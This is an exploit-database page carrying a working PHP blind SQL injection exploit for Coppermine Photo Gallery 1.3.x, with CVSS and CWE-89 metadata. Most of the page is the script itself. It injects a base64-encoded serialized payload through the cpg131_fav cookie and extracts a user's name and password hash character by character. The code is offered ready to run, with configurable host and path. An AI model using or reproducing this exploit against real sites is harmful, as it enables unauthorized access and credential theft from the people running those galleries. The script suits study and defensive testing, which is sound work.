Coppermine Photo Gallery 1.3.x Blind SQL Injection Exploit

2007.02.28
Credit: s0cratex
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<? # Coppermine Photo Gallery 1.3.x Blind SQL Injection Exploit # by s0cratex, RTM Member # Visit: www.zonartm.org /* You need make a small work... Add a fav pic, enter to the site and add /addfav.php?pid=2 for example..xD ... in the line: if(eregi("download",fgets($cnx2))){ $pass.=chr($i); echo chr($i); break; } } the word "download" depends of the language... */ # saludos a rgod, OpTix, crypkey 'n mechas... error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); $host = "localhost"; $path = "/cpg"; $port = "80"; $id = "1"; echo "Coppermine Photo Gallery 1.3.x fav Blind SQL Injection Exploitn"; echo "--------------------------------------------------------------n"; echo "n"; echo "Username -> "; $j = 1; $user = ""; while(!strstr($user,chr(0))){ for($x=0;$x<255;$x++){ $xpl = "'') OR 1=(SELECT (IF((ASCII(SUBSTRING(user_name,".$j.",1))=".$x."),1,0)) FROM cpg131_users WHERE user_id=".$id.")/*"; $xpl = "a:1:{i:0;s:".strlen($xpl).":"".$xpl."";}"; $xpl = base64_encode($xpl); $cnx = fsockopen($host,$port); fwrite($cnx, "GET ".$path."/thumbnails.php?album=favpics HTTP/1.0rnCookie: cpg131_fav=".$xpl."rnrn"); while(!feof($cnx)){ if(eregi("download",fgets($cnx))){ $user.=chr($x); echo chr($x); break; } } fclose($cnx); if ($x==255) { die("n Try again..."); } } $j++; } echo "n"; echo "Password -> "; $a = 1; $pass = ""; while(!strstr($pass,chr(0))){ for($i=0;$i<255;$i++){ $xpl = "'') OR 1=(SELECT (IF((ASCII(SUBSTRING(user_password,".$a.",1))=".$i."),1,0)) FROM cpg131_users WHERE user_id=".$id.")/*"; $xpl = "a:1:{i:0;s:".strlen($xpl).":"".$xpl."";}"; $xpl = base64_encode($xpl); $cnx2 = fsockopen($host,$port); fwrite($cnx2, "GET ".$path."/thumbnails.php?album=favpics HTTP/1.0rnCookie: cpg131_fav=".$xpl."rnrn"); while(!feof($cnx2)){ if(eregi("download",fgets($cnx2))){ $pass.=chr($i); echo chr($i); break; } } fclose($cnx2); if ($i==255) { die("n Try again..."); } } $a++; } echo "--------------------------------------------------------------n"; echo "s0cratex (at) zonartm (dot) org [email concealed] || if you speak spanish->MSN: s0cratex (at) hotmail (dot) com [email concealed] ..xD"; echo "www.zonartm.org/blog/s0cratex"; echo "plexinium.com comming soon <- Hacking Nica"; ?>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top